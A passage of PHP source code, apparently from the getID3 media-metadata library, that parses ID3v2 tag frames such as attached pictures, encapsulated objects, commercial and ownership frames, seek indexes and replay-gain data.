					$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
					$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
					if (ord($frame_mimetype) === 0) {
						$frame_mimetype = '';
					}
					$frame_imagetype = strtoupper(str_replace('image/', '', strtolower($frame_mimetype)));
					if ($frame_imagetype == 'JPEG') {
						$frame_imagetype = 'JPG';
					}
					$frame_offset = $frame_terminatorpos + strlen("\x00");
				} else {
					$frame_offset += 3;
				}
			}
			if ($id3v2_majorversion > 2 && strlen($parsedFrame['data']) > $frame_offset) {
				$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
				$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (ord($frame_mimetype) === 0) {
					$frame_mimetype = '';
				}
				$frame_offset = $frame_terminatorpos + strlen("\x00");
			}

			$frame_picturetype = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			if ($frame_offset >= $parsedFrame['datalength']) {
				$this->warning('data portion of APIC frame is missing at offset '.($parsedFrame['dataoffset'] + 8 + $frame_offset));
			} else {
				$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
				if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
					$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
				}
				$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
				if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
					// if description only contains a BOM or terminator then make it blank
					$frame_description = '';
				}
				$parsedFrame['encodingid']       = $frame_textencoding;
				$parsedFrame['encoding']         = $this->TextEncodingNameLookup($frame_textencoding);

				if ($id3v2_majorversion == 2) {
					$parsedFrame['imagetype']    = $frame_imagetype;
				} else {
					$parsedFrame['mime']         = $frame_mimetype;
				}
				$parsedFrame['picturetypeid']    = $frame_picturetype;
				$parsedFrame['picturetype']      = $this->APICPictureTypeLookup($frame_picturetype);
				$parsedFrame['description']      = $frame_description;
				$parsedFrame['data']             = substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator));
				$parsedFrame['datalength']       = strlen($parsedFrame['data']);

				$parsedFrame['image_mime'] = '';
				$imageinfo = array();
				if ($imagechunkcheck = getid3_lib::GetDataImageSize($parsedFrame['data'], $imageinfo)) {
					if (($imagechunkcheck[2] >= 1) && ($imagechunkcheck[2] <= 3)) {
						$parsedFrame['image_mime']       = 'image/'.getid3_lib::ImageTypesLookup($imagechunkcheck[2]);
						if ($imagechunkcheck[0]) {
							$parsedFrame['image_width']  = $imagechunkcheck[0];
						}
						if ($imagechunkcheck[1]) {
							$parsedFrame['image_height'] = $imagechunkcheck[1];
						}
					}
				}

				do {
					if ($this->getid3->option_save_attachments === false) {
						// skip entirely
						unset($parsedFrame['data']);
						break;
					}
					if ($this->getid3->option_save_attachments === true) {
						// great
/*
					} elseif (is_int($this->getid3->option_save_attachments)) {
						if ($this->getid3->option_save_attachments < $parsedFrame['data_length']) {
							// too big, skip
							$this->warning('attachment at '.$frame_offset.' is too large to process inline ('.number_format($parsedFrame['data_length']).' bytes)');
							unset($parsedFrame['data']);
							break;
						}
*/
					} elseif (is_string($this->getid3->option_save_attachments)) {
						$dir = rtrim(str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $this->getid3->option_save_attachments), DIRECTORY_SEPARATOR);
						if (!is_dir($dir) || !is_writable($dir)) {
							// cannot write, skip
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$dir.'" (not writable)');
							unset($parsedFrame['data']);
							break;
						}
					}
					// if we get this far, must be OK
					if (is_string($this->getid3->option_save_attachments)) {
						$destination_filename = $dir.DIRECTORY_SEPARATOR.md5($info['filenamepath']).'_'.$frame_offset;
						if (!file_exists($destination_filename) || is_writable($destination_filename)) {
							file_put_contents($destination_filename, $parsedFrame['data']);
						} else {
							$this->warning('attachment at '.$frame_offset.' cannot be saved to "'.$destination_filename.'" (not writable)');
						}
						$parsedFrame['data_filename'] = $destination_filename;
						unset($parsedFrame['data']);
					} else {
						if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
							if (!isset($info['id3v2']['comments']['picture'])) {
								$info['id3v2']['comments']['picture'] = array();
							}
							$comments_picture_data = array();
							foreach (array('data', 'image_mime', 'image_width', 'image_height', 'imagetype', 'picturetype', 'description', 'datalength') as $picture_key) {
								if (isset($parsedFrame[$picture_key])) {
									$comments_picture_data[$picture_key] = $parsedFrame[$picture_key];
								}
							}
							$info['id3v2']['comments']['picture'][] = $comments_picture_data;
							unset($comments_picture_data);
						}
					}
				} while (false);
			}

		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GEOB')) || // 4.15  GEOB General encapsulated object
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'GEO'))) {     // 4.16  GEO  General encapsulated object
			//   There may be more than one 'GEOB' frame in each tag,
			//   but only one with the same content descriptor
			// <Header for 'General encapsulated object', ID: 'GEOB'>
			// Text encoding          $xx
			// MIME type              <text string> $00
			// Filename               <text string according to encoding> $00 (00)
			// Content description    <text string according to encoding> $00 (00)
			// Encapsulated object    <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_mimetype) === 0) {
				$frame_mimetype = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_filename = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_filename) === 0) {
				$frame_filename = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$parsedFrame['objectdata']  = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['encodingid']  = $frame_textencoding;
			$parsedFrame['encoding']    = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['mime']        = $frame_mimetype;
			$parsedFrame['filename']    = $frame_filename;
			$parsedFrame['description'] = $frame_description;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PCNT')) || // 4.16  PCNT Play counter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CNT'))) {     // 4.17  CNT  Play counter
			//   There may only be one 'PCNT' frame in each tag.
			//   When the counter reaches all one's, one byte is inserted in
			//   front of the counter thus making the counter eight bits bigger
			// <Header for 'Play counter', ID: 'PCNT'>
			// Counter        $xx xx xx xx (xx ...)

			$parsedFrame['data']          = getid3_lib::BigEndian2Int($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POPM')) || // 4.17  POPM Popularimeter
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'POP'))) {    // 4.18  POP  Popularimeter
			//   There may be more than one 'POPM' frame in each tag,
			//   but only one with the same email address
			// <Header for 'Popularimeter', ID: 'POPM'>
			// Email to user   <text string> $00
			// Rating          $xx
			// Counter         $xx xx xx xx (xx ...)

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_emailaddress = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_emailaddress) === 0) {
				$frame_emailaddress = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rating = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['counter'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			$parsedFrame['email']   = $frame_emailaddress;
			$parsedFrame['rating']  = $frame_rating;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RBUF')) || // 4.18  RBUF Recommended buffer size
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'BUF'))) {     // 4.19  BUF  Recommended buffer size
			//   There may only be one 'RBUF' frame in each tag
			// <Header for 'Recommended buffer size', ID: 'RBUF'>
			// Buffer size               $xx xx xx
			// Embedded info flag        %0000000x
			// Offset to next tag        $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['buffersize'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 3));
			$frame_offset += 3;

			$frame_embeddedinfoflags = getid3_lib::BigEndian2Bin(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['flags']['embededinfo'] = (bool) substr($frame_embeddedinfoflags, 7, 1);
			$parsedFrame['nexttagoffset'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRM')) { // 4.20  Encrypted meta frame (ID3v2.2 only)
			//   There may be more than one 'CRM' frame in a tag,
			//   but only one with the same 'owner identifier'
			// <Header for 'Encrypted meta frame', ID: 'CRM'>
			// Owner identifier      <textstring> $00 (00)
			// Content/explanation   <textstring> $00 (00)
			// Encrypted datablock   <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']     = $frame_ownerid;
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);
			$parsedFrame['description'] = $frame_description;
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'AENC')) || // 4.19  AENC Audio encryption
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'CRA'))) {     // 4.21  CRA  Audio encryption
			//   There may be more than one 'AENC' frames in a tag,
			//   but only one with the same 'Owner identifier'
			// <Header for 'Audio encryption', ID: 'AENC'>
			// Owner identifier   <text string> $00
			// Preview start      $xx xx
			// Preview length     $xx xx
			// Encryption info    <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['previewstart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['previewlength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['encryptioninfo'] = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif ((($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'LINK')) || // 4.20  LINK Linked information
				(($id3v2_majorversion == 2) && ($parsedFrame['frame_name'] == 'LNK'))) {    // 4.22  LNK  Linked information
			//   There may be more than one 'LINK' frame in a tag,
			//   but only one with the same contents
			// <Header for 'Linked information', ID: 'LINK'>
			// ID3v2.3+ => Frame identifier   $xx xx xx xx
			// ID3v2.2  => Frame identifier   $xx xx xx
			// URL                            <text string> $00
			// ID and additional data         <text string(s)>

			$frame_offset = 0;
			if ($id3v2_majorversion == 2) {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 3);
				$frame_offset += 3;
			} else {
				$parsedFrame['frameid'] = substr($parsedFrame['data'], $frame_offset, 4);
				$frame_offset += 4;
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_url = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_url) === 0) {
				$frame_url = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$parsedFrame['url'] = $frame_url;

			$parsedFrame['additionaldata'] = (string) substr($parsedFrame['data'], $frame_offset);
			if (!empty($parsedFrame['framenameshort']) && $parsedFrame['url']) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback_iso88591_utf8($parsedFrame['url']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'POSS')) { // 4.21  POSS Position synchronisation frame (ID3v2.3+ only)
			//   There may only be one 'POSS' frame in each tag
			// <Head for 'Position synchronisation', ID: 'POSS'>
			// Time stamp format         $xx
			// Position                  $xx (xx ...)

			$frame_offset = 0;
			$parsedFrame['timestampformat'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['position']        = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset));
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'USER')) { // 4.22  USER Terms of use (ID3v2.3+ only)
			//   There may be more than one 'Terms of use' frame in a tag,
			//   but only one with the same 'Language'
			// <Header for 'Terms of use frame', ID: 'USER'>
			// Text encoding        $xx
			// Language             $xx xx xx
			// The actual text      <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$frame_language = substr($parsedFrame['data'], $frame_offset, 3);
			$frame_offset += 3;
			$parsedFrame['language']     = $frame_language;
			$parsedFrame['languagename'] = $this->LanguageLookup($frame_language, false);
			$parsedFrame['encodingid']   = $frame_textencoding;
			$parsedFrame['encoding']     = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);
			if (!empty($parsedFrame['framenameshort']) && !empty($parsedFrame['data'])) {
				$info['id3v2']['comments'][$parsedFrame['framenameshort']][] = getid3_lib::iconv_fallback($parsedFrame['encoding'], $info['id3v2']['encoding'], $parsedFrame['data']);
			}
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'OWNE')) { // 4.23  OWNE Ownership frame (ID3v2.3+ only)
			//   There may only be one 'OWNE' frame in a tag
			// <Header for 'Ownership frame', ID: 'OWNE'>
			// Text encoding     $xx
			// Price paid        <text string> $00
			// Date of purch.    <text string>
			// Seller            <text string according to encoding>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
			}
			$parsedFrame['encodingid'] = $frame_textencoding;
			$parsedFrame['encoding']   = $this->TextEncodingNameLookup($frame_textencoding);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricepaid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['pricepaid']['currencyid'] = substr($frame_pricepaid, 0, 3);
			$parsedFrame['pricepaid']['currency']   = $this->LookupCurrencyUnits($parsedFrame['pricepaid']['currencyid']);
			$parsedFrame['pricepaid']['value']      = substr($frame_pricepaid, 3);

			$parsedFrame['purchasedate'] = substr($parsedFrame['data'], $frame_offset, 8);
			if ($this->IsValidDateStampString($parsedFrame['purchasedate'])) {
				$parsedFrame['purchasedateunix'] = mktime (0, 0, 0, substr($parsedFrame['purchasedate'], 4, 2), substr($parsedFrame['purchasedate'], 6, 2), substr($parsedFrame['purchasedate'], 0, 4));
			}
			$frame_offset += 8;

			$parsedFrame['seller'] = (string) substr($parsedFrame['data'], $frame_offset);
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'COMR')) { // 4.24  COMR Commercial frame (ID3v2.3+ only)
			//   There may be more than one 'commercial frame' in a tag,
			//   but no two may be identical
			// <Header for 'Commercial frame', ID: 'COMR'>
			// Text encoding      $xx
			// Price string       <text string> $00
			// Valid until        <text string>
			// Contact URL        <text string> $00
			// Received as        $xx
			// Name of seller     <text string according to encoding> $00 (00)
			// Description        <text string according to encoding> $00 (00)
			// Picture MIME type  <string> $00
			// Seller logo        <binary data>

			$frame_offset = 0;
			$frame_textencoding = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_textencoding_terminator = $this->TextEncodingTerminatorLookup($frame_textencoding);
			if ((($id3v2_majorversion <= 3) && ($frame_textencoding > 1)) || (($id3v2_majorversion == 4) && ($frame_textencoding > 3))) {
				$this->warning('Invalid text encoding byte ('.$frame_textencoding.') in frame "'.$parsedFrame['frame_name'].'" - defaulting to ISO-8859-1 encoding');
				$frame_textencoding_terminator = "\x00";
			}

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_pricestring = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");
			$frame_rawpricearray = explode('/', $frame_pricestring);
			foreach ($frame_rawpricearray as $key => $val) {
				$frame_currencyid = substr($val, 0, 3);
				$parsedFrame['price'][$frame_currencyid]['currency'] = $this->LookupCurrencyUnits($frame_currencyid);
				$parsedFrame['price'][$frame_currencyid]['value']    = substr($val, 3);
			}

			$frame_datestring = substr($parsedFrame['data'], $frame_offset, 8);
			$frame_offset += 8;

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_contacturl = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_receivedasid = ord(substr($parsedFrame['data'], $frame_offset++, 1));

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_sellername = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_sellername) === 0) {
				$frame_sellername = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], $frame_textencoding_terminator, $frame_offset);
			if (ord(substr($parsedFrame['data'], $frame_terminatorpos + strlen($frame_textencoding_terminator), 1)) === 0) {
				$frame_terminatorpos++; // strpos() fooled because 2nd byte of Unicode chars are often 0x00
			}
			$frame_description = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (in_array($frame_description, array("\x00", "\x00\x00", "\xFF\xFE", "\xFE\xFF"))) {
				// if description only contains a BOM or terminator then make it blank
				$frame_description = '';
			}
			$frame_offset = $frame_terminatorpos + strlen($frame_textencoding_terminator);

			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_mimetype = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$frame_sellerlogo = substr($parsedFrame['data'], $frame_offset);

			$parsedFrame['encodingid']        = $frame_textencoding;
			$parsedFrame['encoding']          = $this->TextEncodingNameLookup($frame_textencoding);

			$parsedFrame['pricevaliduntil']   = $frame_datestring;
			$parsedFrame['contacturl']        = $frame_contacturl;
			$parsedFrame['receivedasid']      = $frame_receivedasid;
			$parsedFrame['receivedas']        = $this->COMRReceivedAsLookup($frame_receivedasid);
			$parsedFrame['sellername']        = $frame_sellername;
			$parsedFrame['description']       = $frame_description;
			$parsedFrame['mime']              = $frame_mimetype;
			$parsedFrame['logo']              = $frame_sellerlogo;
			unset($parsedFrame['data']);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'ENCR')) { // 4.25  ENCR Encryption method registration (ID3v2.3+ only)
			//   There may be several 'ENCR' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Encryption method registration', ID: 'ENCR'>
			// Owner identifier    <text string> $00
			// Method symbol       $xx
			// Encryption data     <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']      = $frame_ownerid;
			$parsedFrame['methodsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']         = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'GRID')) { // 4.26  GRID Group identification registration (ID3v2.3+ only)

			//   There may be several 'GRID' frames in a tag,
			//   but only one containing the same symbol
			//   and only one containing the same owner identifier
			// <Header for 'Group ID registration', ID: 'GRID'>
			// Owner identifier      <text string> $00
			// Group symbol          $xx
			// Group dependent data  <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid']       = $frame_ownerid;
			$parsedFrame['groupsymbol']   = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']          = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'PRIV')) { // 4.27  PRIV Private frame (ID3v2.3+ only)
			//   The tag may contain more than one 'PRIV' frame
			//   but only with different contents
			// <Header for 'Private frame', ID: 'PRIV'>
			// Owner identifier      <text string> $00
			// The private data      <binary data>

			$frame_offset = 0;
			$frame_terminatorpos = strpos($parsedFrame['data'], "\x00", $frame_offset);
			$frame_ownerid = substr($parsedFrame['data'], $frame_offset, $frame_terminatorpos - $frame_offset);
			if (ord($frame_ownerid) === 0) {
				$frame_ownerid = '';
			}
			$frame_offset = $frame_terminatorpos + strlen("\x00");

			$parsedFrame['ownerid'] = $frame_ownerid;
			$parsedFrame['data']    = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SIGN')) { // 4.28  SIGN Signature frame (ID3v2.4+ only)
			//   There may be more than one 'signature frame' in a tag,
			//   but no two may be identical
			// <Header for 'Signature frame', ID: 'SIGN'>
			// Group symbol      $xx
			// Signature         <binary data>

			$frame_offset = 0;
			$parsedFrame['groupsymbol'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$parsedFrame['data']        = (string) substr($parsedFrame['data'], $frame_offset);


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'SEEK')) { // 4.29  SEEK Seek frame (ID3v2.4+ only)
			//   There may only be one 'seek frame' in a tag
			// <Header for 'Seek frame', ID: 'SEEK'>
			// Minimum offset to next tag       $xx xx xx xx

			$frame_offset = 0;
			$parsedFrame['data']          = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));


		} elseif (($id3v2_majorversion >= 4) && ($parsedFrame['frame_name'] == 'ASPI')) { // 4.30  ASPI Audio seek point index (ID3v2.4+ only)
			//   There may only be one 'audio seek point index' frame in a tag
			// <Header for 'Seek Point Index', ID: 'ASPI'>
			// Indexed data start (S)         $xx xx xx xx
			// Indexed data length (L)        $xx xx xx xx
			// Number of index points (N)     $xx xx
			// Bits per index point (b)       $xx
			//   Then for every index point the following data is included:
			// Fraction at index (Fi)          $xx (xx)

			$frame_offset = 0;
			$parsedFrame['datastart'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexeddatalength'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$parsedFrame['indexpoints'] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['bitsperpoint'] = ord(substr($parsedFrame['data'], $frame_offset++, 1));
			$frame_bytesperpoint = ceil($parsedFrame['bitsperpoint'] / 8);
			for ($i = 0; $i < $parsedFrame['indexpoints']; $i++) {
				$parsedFrame['indexes'][$i] = getid3_lib::BigEndian2Int(substr($parsedFrame['data'], $frame_offset, $frame_bytesperpoint));
				$frame_offset += $frame_bytesperpoint;
			}
			unset($parsedFrame['data']);

		} elseif (($id3v2_majorversion >= 3) && ($parsedFrame['frame_name'] == 'RGAD')) { // Replay Gain Adjustment
			// http://privatewww.essex.ac.uk/~djmrob/replaygain/file_format_id3v2.html
			//   There may only be one 'RGAD' frame in a tag
			// <Header for 'Replay Gain Adjustment', ID: 'RGAD'>
			// Peak Amplitude                      $xx $xx $xx $xx
			// Radio Replay Gain Adjustment        %aaabbbcd %dddddddd
			// Audiophile Replay Gain Adjustment   %aaabbbcd %dddddddd
			//   a - name code
			//   b - originator code
			//   c - sign bit
			//   d - replay gain adjustment

			$frame_offset = 0;
			$parsedFrame['peakamplitude'] = getid3_lib::BigEndian2Float(substr($parsedFrame['data'], $frame_offset, 4));
			$frame_offset += 4;
			$rg_track_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$rg_album_adjustment = getid3_lib::Dec2Bin(substr($parsedFrame['data'], $frame_offset, 2));
			$frame_offset += 2;
			$parsedFrame['raw']['track']['name']       = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 0, 3));
			$parsedFrame['raw']['track']['originator'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 3, 3));
			$parsedFrame['raw']['track']['signbit']    = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 6, 1));
			$parsedFrame['raw']['track']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_track_adjustment, 7, 9));
			$parsedFrame['raw']['album']['name']       = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 0, 3));
			$parsedFrame['raw']['album']['originator'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 3, 3));
			$parsedFrame['raw']['album']['signbit']    = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 6, 1));
			$parsedFrame['raw']['album']['adjustment'] = getid3_lib::Bin2Dec(substr($rg_album_adjustment, 7, 9));
			$parsedFrame['track']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['track']['name']);
			$parsedFrame['track']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['track']['originator']);
			$parsedFrame['track']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['track']['adjustment'], $parsedFrame['raw']['track']['signbit']);
			$parsedFrame['album']['name']       = getid3_lib::RGADnameLookup($parsedFrame['raw']['album']['name']);
			$parsedFrame['album']['originator'] = getid3_lib::RGADoriginatorLookup($parsedFrame['raw']['album']['originator']);
			$parsedFrame['album']['adjustment'] = getid3_lib::RGADadjustmentLookup($parsedFrame['raw']['album']['adjustment'], $parsedFrame['raw']['album']['signbit']);

			$info['replay_gain']['track']['peak']       = $parsedFrame['peakamplitude'];
			$info['replay_gain']['track']['originator'] = $parsedFrame['track']['originator'];
			$info['replay_gain']['track']['adjustment'] = $parsedFrame['track']['adjustment'];
